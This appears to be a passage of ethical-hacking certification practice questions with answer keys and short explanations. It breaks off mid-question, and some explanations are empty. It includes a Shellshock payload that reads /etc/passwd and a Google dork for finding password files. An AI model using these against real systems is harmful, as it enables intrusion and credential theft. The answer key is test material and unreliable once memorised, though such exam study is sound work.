What type of firewall is inspecting outbound traffic?

A.
Application

B.
Circuit

C.
Stateful

D.
Packet Filtering

Answer: A

Explanation:
An application firewall is an enhanced firewall that limits access by applications to the operating system (OS) of a computer. Conventional firewalls merely control the flow of data to and from the central processing unit (CPU), examining each packet and determining whether or not to forward it toward a particular destination. An application firewall offers additional protection by controlling the execution of files or the handling of data by specific applications.

References: http://searchsoftwarequality.techtarget.com/definition/application-firewall

QUESTION NO: 274

Jimmy is standing outside a secure entrance to a facility. He is pretending to have a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close.

What just happened?

A.
Piggybacking

B.
Masqurading

C.
Phishing

D.
Whaling

Answer: A

Explanation:
In security, piggybacking refers to when a person tags along with another person who is authorized to gain entry into a restricted area, or pass a certain checkpoint.

References: https://en.wikipedia.org/wiki/Piggybacking_(security)

QUESTION NO: 275

You've gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your tool kit you have an Ubuntu 9.10 Linux LiveCD. Which Linux based tool has the ability to change any user's password or to activate disabled Windows accounts?

A.
CHNTPW

B.
Cain & Abel

C.
SET

D.
John the Ripper

Answer: A

Explanation:
chntpw is a software utility for resetting or blanking local passwords used by Windows NT, 2000, XP, Vista, 7, 8 and 8.1. It does this by editing the SAM database where Windows stores password hashes.

References: https://en.wikipedia.org/wiki/Chntpw

QUESTION NO: 276

An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to "www.MyPersonalBank.com", that the user is directed to a phishing site.

Which file does the attacker need to modify?

A.
Hosts

B.
Sudoers

C.
Boot.ini

D.
Networks

Answer: A

Explanation:
The hosts file is a computer file used by an operating system to map hostnames to IP addresses. The hosts file contains lines of text consisting of an IP address in the first text field followed by one or more host names.

References: https://en.wikipedia.org/wiki/Hosts_(file)

QUESTION NO: 277

After trying multiple exploits, you've gained root access to a Centos 6 server. To ensure you maintain access, what would you do first?

A.
Create User Account

B.
Disable Key Services

C.
Disable IPTables

D.
Download and Install Netcat

Answer: A

Explanation:

QUESTION NO: 278

env x=`(){ :;};echo exploit` bash -c 'cat /etc/passwd'

What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?

A.
Display passwd content to prompt

B.
Removes the passwd file

C.
Changes all passwords in passwd

D.
Add new user to the passwd file

Answer: A

Explanation:
To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:

() {:;}; /bin/cat /etc/passwd

That reads the password file /etc/passwd, and adds it to the response from the web server. So an attacker injecting this code through the Shellshock vulnerability would see the password file dumped out onto their screen as part of the web page returned.

References: https://blog.cloudflare.com/inside-shellshock/

QUESTION NO: 279

Using Windows CMD, how would an attacker list all the shares to which the current user context has access?

A.
NET USE

B.
NET CONFIG

C.

NET FILE

D.
NET VIEW

Answer: A

Explanation:
Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.

References: https://technet.microsoft.com/en-us/library/bb490717.aspx

QUESTION NO: 280

A common cryptographical tool is the use of XOR. XOR the following binary values:

10110001

00111010

A.
10001011

B.
11011000

C.
10011101

D.
10111100

Answer: A

Explanation:
The XOR gate is a digital logic gate that implements an exclusive or; that is, a true output (1/HIGH) results if one, and only one, of the inputs to the gate is true. If both inputs are false (0/LOW) or both are true, a false output results. XOR represents the inequality function, i.e., the output is true if the inputs are not alike otherwise the output is false. A way to remember XOR is "one or the other but not both".

References: https://en.wikipedia.org/wiki/XOR_gate

QUESTION NO: 281

Which of the following is the successor of SSL?

A.
TLS

B.
RSA

C.
GRE

D.
IPSec

Answer: A

Explanation:
Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), both of which are frequently referred to as 'SSL', are cryptographic protocols that provide communications security over a computer network.

References: https://en.wikipedia.org/wiki/Transport_Layer_Security

QUESTION NO: 282

You are attempting to man-in-the-middle a session. Which protocol will allow you to guess a sequence number?

A.
TCP

B.
UPD

C.
ICMP

D.
UPX

Answer: A

Explanation:
At the establishment of a TCP session the client starts by sending a SYN-packet (SYN=synchronize) with a sequence number. To hijack a session it is required to send a packet with a right seq-number, otherwise they are dropped.

References: https://www.exploit-db.com/papers/13587/

QUESTION NO: 283

Your team has won a contract to infiltrate an organization. The company wants to have the attack be as realistic as possible; therefore, they did not provide any information besides the company name.

What should be the first step in security testing the client?

A.
Reconnaissance

B.
Enumeration

C.
Scanning

D.
Escalation

Answer: A

Explanation:
Phases of hacking

Phase 1—Reconnaissance

Phase 2—Scanning

Phase 3—Gaining Access

Phase 4—Maintaining Access

Phase 5—Covering Tracks

Phase 1: Passive and Active Reconnaissance

References: http://hack-o-crack.blogspot.se/2010/12/five-stages-of-ethical-hacking.html

QUESTION NO: 284

Which regulation defines security and privacy controls for Federal information systems and organizations?

A.
NIST-800-53

B.
PCI-DSS

C.
EU Safe Harbor

D.
HIPAA

Answer: A

Explanation:
NIST Special Publication 800-53, "Security and Privacy Controls for Federal Information Systems and Organizations," provides a catalog of security controls for all U.S. federal information systems except those related to national security.

References: https://en.wikipedia.org/wiki/NIST_Special_Publication_800-53

QUESTION NO: 285

How does the Address Resolution Protocol (ARP) work?

A.
It sends a request packet to all the network elements, asking for the MAC address from a specific IP.

B.
It sends a reply packet to all the network elements, asking for the MAC address from a specific IP.

C.
It sends a reply packet for a specific IP, asking for the MAC address.

D.
It sends a request packet to all the network elements, asking for the domain name from a specific IP.

Answer: A

Explanation:
When an incoming packet destined for a host machine on a particular local area network arrives at a gateway, the gateway asks the ARP program to find a physical host or MAC address that matches the IP address. The ARP program looks in the ARP cache and, if it finds the address, provides it so that the packet can be converted to the right packet length and format and sent to the machine. If no entry is found for the IP address, ARP broadcasts a request packet in a special format to all the machines on the LAN to see if one machine knows that it has that IP address associated with it. A machine that recognizes the IP address as its own returns a reply so indicating. ARP updates the ARP cache for future reference and then sends the packet to the MAC address that replied.

References: http://searchnetworking.techtarget.com/definition/Address-Resolution-Protocol-ARP

QUESTION NO: 286

You are performing information gathering for an important penetration test. You have found pdf, doc, and images in your objective. You decide to extract metadata from these files and analyze it.

What tool will help you with the task?

A.
Metagoofil

B.
Armitage

C.
Dimitry

D.
cdpsnarf

Answer: A

Explanation:
Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) belonging to a target company.

Metagoofil will perform a search in Google to identify and download the documents to local disk and then will extract the metadata with different libraries like Hachoir, PdfMiner? and others. With the results it will generate a report with usernames, software versions and servers or machine names that will help Penetration testers in the information gathering phase.

References: http://www.edge-security.com/metagoofil.php

QUESTION NO: 287

When you are collecting information to perform a data analysis, Google commands are very useful to find sensitive information and files. These files may contain information about passwords, system functions, or documentation.

What command will help you to search files using Google as a search engine?

A.
site: target.com filetype:xls username password email

B.
inurl: target.com filename:xls username password email

C.
domain: target.com archive:xls username password email

D.
site: target.com file:xls username password email

Answer: A

Explanation:
If you include site: in your query, Google will restrict your search results to the site or domain you specify.

If you include filetype:suffix in your query, Google will restrict the results to pages whose names end in suffix. For example, [web page evaluation checklist filetype:pdf] will return Adobe Acrobat pdf files that match the terms “web,” “page,” “evaluation,” and “checklist.”

References: http://www.googleguide.com/advanced_operators_reference.html

QUESTION NO: 288

What is a "Collision attack" in cryptography?

A.
Collision attacks try to find two inputs producing the same hash.

B.
Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key.

C.
Collision attacks try to get the public key.

D.
Collision attacks try to break the hash into three parts to get the plaintext value.

Answer: A

Explanation:
A Collision Attack is an attempt to find two input strings of a hash function that produce the same hash result.

References: https://learncryptography.com/hash-functions/hash-collision-attack

QUESTION NO: 289

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email(boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network.

What testing method did you use?

A.
Social engineering

B.
Tailgating

C.
Piggybacking

D.
Eavesdropping

Answer: A

Explanation:
Social engineering, in the context of information security, refers to psychological manipulation of people into performing actions or divulging confidential information. A type of confidence trick for the purpose of information gathering, fraud, or system access, it differs from a traditional "con" in that it is often one of many steps in a more complex fraud scheme.

QUESTION NO: 290

When you are getting information about a web server, it is very important to know the HTTP Methods (GET, POST, HEAD, PUT, DELETE, TRACE) that are available because there are two critical methods (PUT and DELETE). PUT can upload a file to the server and DELETE can delete a file from the server. You can detect all these methods (GET, POST, HEAD, PUT, DELETE, TRACE) using NMAP script engine.

What nmap script will help you with this task?

A.
http-methods

B.
http enum

C.
http-headers

D.
http-git

Answer: A

Explanation:
You can check HTTP method vulnerability using NMAP.

Example: #nmap –script=http-methods.nse 192.168.0.25

References: http://solutionsatexperts.com/http-method-vulnerability-check-using-nmap/

QUESTION NO: 291

When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.

What proxy tool will help you find web vulnerabilities?

A.
Burpsuite

B.
Maskgen

C.
Dimitry

D.
Proxychains

Answer: A

Explanation:
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.

References: https://portswigger.net/burp/

QUESTION NO: 292

You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine.

What wireshark filter will show the connections from the snort machine to kiwi syslog machine?

A.
tcp.dstport==514 && ip.dst==192.168.0.150

B.
tcp.srcport==514 && ip.src==192.168.0.99

C.
tcp.dstport==514 && ip.dst==192.168.0.0/16

D.
tcp.srcport==514 && ip.src==192.168.150

Answer: A

Explanation:
We need to configure destination port at destination ip. The destination ip is 192.168.0.150, where the kiwi syslog is installed.

References: https://wiki.wireshark.org/DisplayFilters

QUESTION NO: 293

This asymmetry cipher is based on factoring the product of two large prime numbers.

What cipher is described above?

A.
RSA

B.
SHA

C.
RC5

D.
MD5

Answer: A

Explanation:
RSA is based on the practical difficulty of factoring the product of two large prime numbers, the factoring problem.

Note: A user of RSA creates and then publishes a public key based on two large prime numbers, along with an auxiliary value. The prime numbers must be kept secret. Anyone can use the public

key to encrypt a message, but with currently published methods, if the public key is large enough, only someone with knowledge of the prime numbers can feasibly decode the message.

References: https://en.wikipedia.org/wiki/RSA_(cryptosystem)

QUESTION NO: 294

Which of the following parameters describe LM Hash (see exhibit):

Exhibit:

I - The maximum password length is 14 characters.

II - There are no distinctions between uppercase and lowercase.

III - It's a simple algorithm, so 10,000,000 hashes can be generated per second.

A.
I, II, and III

B.
I

C.
II

D.
I and II

Answer: A

Explanation:
The LM hash is computed as follows:

1. The user's password is restricted to a maximum of fourteen characters.

2. The user's password is converted to uppercase.

Etc.

14 character Windows passwords, which are stored with LM Hash, can be cracked in five seconds.

References: https://en.wikipedia.org/wiki/LM_hash

QUESTION NO: 295

What is the process of logging, recording, and resolving events that take place in an organization?

A.
Incident Management Process

B.
Security Policy

C.
Internal Procedure

D.
Metrics

Answer: A

Explanation:
The activities within the incident management process include:

References:
https://en.wikipedia.org/wiki/Incident_management_(ITSM)#Incident_management_procedure

QUESTION NO: 296

The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP's Top Ten Project Most Critical Web Application Security Risks?

A.
Injection

B.
Cross Site Scripting

C.
Cross Site Request Forgery

D.
Path disclosure

Answer: A

Explanation:

The top item of the OWASP 2013 OWASP's Top Ten Project Most Critical Web Application Security Risks is injection.

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

References: https://www.owasp.org/index.php/Top_10_2013-Top_10

QUESTION NO: 297

You are performing a penetration test. You achieved access via a buffer overflow exploit and you proceed to find interesting data, such as files with usernames and passwords. You find a hidden folder that has the administrator's bank account password and login information for the administrator's bitcoin account.

What should you do?

A.
Report immediately to the administrator

B.
Do not report it and continue the penetration test.

C.
Transfer money from the administrator's account to another account.

D.
Do not transfer the money but steal the bitcoins.

Answer: A

Explanation:

QUESTION NO: 298

Which of the following describes the characteristics of a Boot Sector Virus?

A.
Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR

B.
Moves the MBR to another location on the RAM and copies itself to the original location of the MBR

C.
Modifies directory table entries so that directory entries point to the virus code instead of the actual program

D.
Overwrites the original MBR and only executes the new virus code

Answer: A

Explanation:
A boot sector virus is a computer virus that infects a storage device's master boot record (MBR). The virus moves the boot sector to another location on the hard drive.

References: https://www.techopedia.com/definition/26655/boot-sector-virus

QUESTION NO: 299

You have several plain-text firewall logs that you must review to evaluate network traffic. You know that in order to do fast, efficient searches of the logs you must use regular expressions.

Which command-line utility are you most likely to use?

A.
Grep

B.
Notepad

C.
MS Excel

D.
Relational Database

Answer: A

Explanation:
grep is a command-line utility for searching plain-text data sets for lines matching a regular expression.

References: https://en.wikipedia.org/wiki/Grep

QUESTION NO: 300

You've just been hired to perform a pen test on an organization that has been subjected to a large-scale attack. The CIO is concerned with mitigating threats and vulnerabilities to totally eliminate risk.

What is one of the first things you should do when given the job?

A.
Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.

B.
Interview all employees in the company to rule out possible insider threats.

C.
Establish attribution to suspected attackers.

D.
Start the wireshark application to start sniffing network traffic.

Answer: A

Explanation:
The goals of penetration tests are:

References: https://en.wikipedia.org/wiki/Penetration_test

QUESTION NO: 301

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?

Starting NMAP 5.21 at 2011-03-15 11:06 NMAP scan report for 172.16.40.65 Host is up (1.00s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 139/tcp open netbios-ssn 515/tcp open 631/tcp open ipp 9100/tcp open MAC Address: 00:00:48:0D:EE:8

A.
The host is likely a printer.

B.
The host is likely a Windows machine.

C.
The host is likely a Linux machine.

D.
The host is likely a router.

Answer: A

Explanation:
The Internet Printing Protocol (IPP) uses port 631.

References: https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

QUESTION NO: 302

Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?

A.
Height and Weight

B.
Voice

C.
Fingerprints

D.
Iris patterns

Answer: A

Explanation:
There are two main types of biometric identifiers:

Examples of physiological characteristics used for biometric authentication include fingerprints; DNA; face, hand, retina or ear features; and odor. Behavioral characteristics are related to the pattern of the behavior of a person, such as typing rhythm, gait, gestures and voice.

References: http://searchsecurity.techtarget.com/definition/biometrics

QUESTION NO: 303

Which of the following is not a Bluetooth attack?

A.
Bluedriving

B.
Bluejacking

C.
Bluesmacking

D.
Bluesnarfing

Answer: A
Explanation:

QUESTION NO: 304

This phase will increase the odds of success in later phases of the penetration test. It is also the very first step in Information Gathering, and it will tell you what the "landscape" looks like.

What is the most important phase of ethical hacking in which you need to spend a considerable amount of time?

A.
footprinting

B.
network mapping

C.
gaining access

D.
escalating privileges

Answer: A

Explanation:
Footprinting is a first step that a penetration tester used to evaluate the security of any IT infrastructure, footprinting means to gather the maximum information about the computer system or a network and about the devices that are attached to this network.

References: http://www.ehacking.net/2011/02/footprinting-first-step-of-ethical.html

QUESTION NO: 305

The purpose of a _____ is to deny network access to local area networks and other information assets by unauthorized wireless devices.

A.
Wireless Intrusion Prevention System

B.
Wireless Access Point

C.
Wireless Access Control List

D.
Wireless Analyzer

Answer: A

Explanation:
A wireless intrusion prevention system (WIPS) is a network device that monitors the radio spectrum for the presence of unauthorized access points (intrusion detection), and can automatically take countermeasures (intrusion prevention).

References: https://en.wikipedia.org/wiki/Wireless_intrusion_prevention_system

QUESTION NO: 306

> NMAP -sn 192.168.11.200-215

The NMAP command above performs which of the following?

A.
A ping scan

B.
A trace sweep

C.
An operating system detect

D.
A port scan

Answer: A

Explanation:
NMAP -sn (No port scan)

This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”, but you can also request that traceroute and NSE host scripts be run.

References: https://nmap.org/book/man-host-discovery.html

QUESTION NO: 307

You are using NMAP to resolve domain names into IP addresses for a ping sweep later.

Which of the following commands looks for IP addresses?

A.
>host -t a hackeddomain.com

B.
>host -t soa hackeddomain.com

C.
>host -t ns hackeddomain.com

D.
>host -t AXFR hackeddomain.com

Answer: A

Explanation:
The A record is an Address record. It returns a 32-bit IPv4 address, most commonly used to map hostnames to an IP address of the host.

References: https://en.wikipedia.org/wiki/List_of_DNS_record_types

QUESTION NO: 308

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

A.
tcpdump

B.
nessus

C.
etherea

D.
Jack the ripper

Answer: A

Explanation:
tcpdump is a common packet analyzer that runs under the command line. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

References: https://en.wikipedia.org/wiki/Tcpdump

QUESTION NO: 309

The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the central processing unit (CPU), rather than passing only the frames that the controller is intended to receive.

Which of the following is being described?

A.
promiscuous mode

B.
port forwarding

C.
multi-cast mode

D.
WEM

Answer: A

Explanation:
Promiscuous mode refers to the special mode of Ethernet hardware, in particular network interface cards (NICs), that allows a NIC to receive all traffic on the network, even if it is not addressed to this NIC. By default, a NIC ignores all traffic that is not addressed to it, which is done by comparing the destination address of the Ethernet packet with the hardware address (a.k.a. MAC) of the device. While this makes perfect sense for networking, non-promiscuous mode makes it difficult to use network monitoring and analysis software for diagnosing connectivity issues or traffic accounting.

References: https://www.tamos.com/htmlhelp/monitoring/

QUESTION NO: 310

Which of the following is an extremely common IDS evasion technique in the web world?

A.
unicode characters

B.
spyware

C.
port knocking

D.
subnetting

Answer: A

Explanation:
Unicode attacks can be effective against applications that understand it. Unicode is the

international standard whose goal is to represent every character needed by every written human language as a single integer number. What is known as Unicode evasion should more correctly be referenced as UTF-8 evasion. Unicode characters are normally represented with two bytes, but this is impractical in real life.

One aspect of UTF-8 encoding causes problems: non-Unicode characters can be represented encoded. What is worse is multiple representations of each character can exist. Non-Unicode character encodings are known as overlong characters, and may be signs of attempted attack.

References: http://books.gigatux.nl/mirror/apachesecurity/0596007248/apachesc-chp-10-sect-8.html

QUESTION NO: 311

Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?

A.
PKI

B.
single sign on

C.
biometrics

D.
SOA

Answer: A

Explanation:
A public key infrastructure (PKI) is a set of roles, policies, and procedures needed to create, manage, distribute, use, store, and revoke digital certificates[1] and manage public-key encryption. The purpose of a PKI is to facilitate the secure electronic transfer of information for a range of network activities such as e-commerce, internet banking and confidential email.

References: https://en.wikipedia.org/wiki/Public_key_infrastructure

QUESTION NO: 312

Which of the following is a design pattern based on distinct pieces of software providing application functionality as services to other applications?

A.
Service Oriented Architecture

B.
Object Oriented Architecture

C.
Lean Coding

D.
Agile Process

Answer: A

Explanation:
A service-oriented architecture (SOA) is an architectural pattern in computer software design in which application components provide services to other components via a communications protocol, typically over a network.

References: https://en.wikipedia.org/wiki/Service-oriented_architecture

QUESTION NO: 313

Which mode of IPSec should you use to assure security and confidentiality of data within the same LAN?

A.
ESP transport mode

B.
AH permiscuous

C.
ESP confidential

D.
AH Tunnel mode

Answer: A

Explanation:
When transport mode is used, IPSec encrypts only the IP payload. Transport mode provides the

protection of an IP payload through an AH or ESP header. Encapsulating Security Payload (ESP) provides confidentiality (in addition to authentication, integrity, and anti-replay protection) for the IP payload.

QUESTION NO: 314

Which of the following is assured by the use of a hash?

A.
Integrity

B.
Confidentiality

C.
Authentication

D.
Availability

Answer: A

Explanation:
An important application of secure hashes is verification of message integrity. Determining whether any changes have been made to a message (or a file), for example, can be accomplished by comparing message digests calculated before, and after, transmission (or any other event).

References:
https://en.wikipedia.org/wiki/Cryptographic_hash_function#Verifying_the_integrity_of_files_or_messages

QUESTION NO: 315

Which of the following is the greatest threat posed by backups?

A.
A backup is the source of Malware or illicit information.

B.
A backup is unavailable during disaster recovery.

C.
A backup is incomplete because no verification was performed.

D.
An un-encrypted backup can be misplaced or stolen.

Answer: D

Explanation:
If the data written on the backup media is properly encrypted, it will be useless for anyone without the key.

References: http://resources.infosecinstitute.com/backup-media-encryption/

QUESTION NO: 316

An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.

What is the most likely cause?

A.
The network devices are not all synchronized.

B.
Proper chain of custody was not observed while collecting the logs.

C.
The attacker altered or erased events from the logs.

D.
The security breach was a false positive.

Answer: A

Explanation:
Time synchronization is an important middleware service of distributed systems, amongst which Distributed Intrusion Detection System (DIDS) makes extensive use of time synchronization in particular.

References:
http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5619315&url=http%3A%2F%2Fieeexplore.i

eee.org%2Fxpls%2Fabs_all.jsp%3Farnumber%3D5619315

QUESTION NO: 317

In Risk Management, how is the term "likelihood" related to the concept of "threat?"

A.
Likelihood is the probability that a threat-source will exploit a vulnerability.

B.
Likelihood is a possible threat-source that may exploit a vulnerability.

C.
Likelihood is the likely source of a threat that could exploit a vulnerability.

D.
Likelihood is the probability that a vulnerability is a threat-source.

Answer: A

Explanation:
The ability to analyze the likelihood of threats within the organization is a critical step in building an effective security program. The process of assessing threat probability should be well defined and incorporated into a broader threat analysis process to be effective.

References:
http://www.mcafee.com/campaign/securitybattleground/resources/chapter5/whitepaper-on-assessing-threat-attack-likelihood.pdf

QUESTION NO: 318

The chance of a hard drive failure is once every three years. The cost to buy a new hard drive is $300. It will require 10 hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns $10/hour. Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).

What is the closest approximate cost of this replacement and recovery operation per year?

A.
$146

B.
$1320

C.
$440

D.
$100

Answer: A

Explanation:
The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE).

Suppose than an asset is valued at $100,000, and the Exposure Factor (EF) for this asset is 25%. The single loss expectancy (SLE) then, is 25% * $100,000, or $25,000.

In our example the ARO is 33%, and the SLE is 300+14*10 (as EF=1). The ALO is thus: 33%*(300+14*10) which equals 146.

References: https://en.wikipedia.org/wiki/Annualized_loss_expectancy

QUESTION NO: 319

A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named "nc." The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.

What kind of vulnerability must be present to make this remote attack possible?

A.
File system permissions

B.
Privilege escalation

C.
Directory traversal

D.
Brute force login

Answer: A

Explanation:
To upload files the user must have proper write file permissions.

References: http://codex.wordpress.org/Hardening_WordPress

QUESTION NO: 320

While performing online banking using a Web browser, a user receives an email that contains a link to an interesting Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a funds transfer that took place.

What Web browser-based security vulnerability was exploited to compromise the user?

A.
Cross-Site Request Forgery

B.
Cross-Site Scripting

C.
Clickjacking

D.
Web form input validation

Answer: A

Explanation:
Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts.

Example and characteristics

If an attacker is able to find a reproducible link that executes a specific action on the target page while the victim is being logged in there, he is able to embed such link on a page he controls and trick the victim into opening it. The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site (e.g. a discussion forum), sent in a HTML email body or attachment.

QUESTION NO: 321

A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?

A.
Attempts by attackers to access Web sites that trust the Web browser user by stealing the user's authentication credentials.

B.
Attempts by attackers to access the user and password information stored in the company's SQL database.

C.
Attempts by attackers to access passwords stored on the user's computer without the user's knowledge.

D.
Attempts by attackers to determine the user's Web browser usage patterns, including when sites were visited and for how long.

Answer: A

Explanation:
Cookies can store passwords and form content a user has previously entered, such as a credit card number or an address.

Cookies can be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content.

References: https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_scripting_.E2.80.93_cookie_theft

QUESTION NO: 322

A company's Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.

What kind of Web application vulnerability likely exists in their software?

A.
Cross-site scripting vulnerability

B.
Cross-site Request Forgery vulnerability

C.
SQL injection vulnerability

D.
Web site defacement vulnerability

Answer: A

Explanation:
Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, very large), output encoding (such as very large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "very large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain cross-site scripting code.

References: https://en.wikipedia.org/wiki/Cross-site_scripting#Safely_validating_untrusted_HTML_input

QUESTION NO: 323

Which of the following is considered the best way to protect Personally Identifiable Information (PII) from Web application vulnerabilities?

A.
Use cryptographic storage to store all PII

B.
Use encrypted communications protocols to transmit PII

C.
Use full disk encryption on all hard drives to protect PII

D.
Use a security token to log into all Web applications that use PII

Answer: A

Explanation:
As a matter of good practice any PII should be protected with strong encryption.

References: https://cuit.columbia.edu/cuit/it-security-practices/handling-personally-identifying-information

QUESTION NO: 324

Which of the following is one of the most effective ways to prevent Cross-site Scripting (XSS) flaws in software applications?

A.
Validate and escape all information sent to a server

B.
Use security policies and procedures to define and implement proper security settings

C.
Verify access right before allowing access to protected information and UI controls

D.
Use digital certificates to authenticate a server prior to sending data

Answer: A

Explanation:
Contextual output encoding/escaping could be used as the primary defense mechanism to stop Cross-site Scripting (XSS) attacks.

References: https://en.wikipedia.org/wiki/Cross-site_scripting#Contextual_output_encoding.2Fescaping_of_string_input

QUESTION NO: 325

An Internet Service Provider (ISP) has a need to authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relay network.

Which AAA protocol is most likely able to handle this requirement?

A.
RADIUS

B.
DIAMETER

C.
Kerberos

D.
TACACS+

Answer: A

Explanation:
Because of the broad support and the ubiquitous nature of the RADIUS protocol, it is often used by ISPs and enterprises to manage access to the Internet or internal networks, wireless networks, and integrated e-mail services. These networks may incorporate modems, DSL, access points, VPNs, network ports, web servers, etc.

References: https://en.wikipedia.org/wiki/RADIUS

QUESTION NO: 326

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client.

What is a possible source of this problem?

A.
The WAP does not recognize the client’s MAC address

B.
The client cannot see the SSID of the wireless network

C.
Client is configured for the wrong channel

D.
The wireless client is not configured to use DHCP

Answer: A

Explanation:
MAC Filtering (or GUI filtering, or layer 2 address filtering) refers to a security access control method whereby the 48-bit address assigned to each network card is used to determine access to the network. MAC Filtering is often used on wireless networks.

References: https://en.wikipedia.org/wiki/MAC_filtering

QUESTION NO: 327

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file.

What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

A.
Protocol analyzer

B.
Intrusion Prevention System (IPS)

C.
Network sniffer

D.
Vulnerability scanner

Answer: A

Explanation:
A packet analyzer (also known as a network analyzer, protocol analyzer or packet sniffer—or, for particular types of networks, an Ethernet sniffer or wireless sniffer) is a computer program or piece of computer hardware that can intercept and log traffic that passes over a digital network or part of a network. A packet analyzer can analyze packet traffic saved in a PCAP file.

References: https://en.wikipedia.org/wiki/Packet_analyzer

QUESTION NO: 328

An attacker gains access to a Web server's database and displays the contents of the table that holds all of the names, passwords, and other user information. The attacker did this by entering information into the Web site's user login page that the software's designers did not expect to be entered. This is an example of what kind of software design problem?

A.
Insufficient input validation

B.
Insufficient exception handling

C.
Insufficient database hardening

D.
Insufficient security management

Answer: A

Explanation:
The most common web application security weakness is the failure to properly validate input coming from the client or from the environment before using it. This weakness leads to almost all of the major vulnerabilities in web applications, such as cross site scripting, SQL injection, interpreter injection, locale/Unicode attacks, file system attacks, and buffer overflows.

References: https://www.owasp.org/index.php/Testing_for_Input_Validation

QUESTION NO: 329

Which of the following is a protocol specifically designed for transporting event messages?

A.
SYSLOG

B.
SMS

C.
SNMP

D.
ICMP

Answer: A

Explanation:
syslog is a standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. Each message is labeled with a facility code, indicating the software type generating the message, and assigned a severity label.

References: https://en.wikipedia.org/wiki/Syslog#Network_protocol

QUESTION NO: 330

Which of the following security operations is used for determining the attack surface of an organization?

A.
Running a network scan to detect network services in the corporate DMZ

B.
Training employees on the security policy regarding social engineering

C.
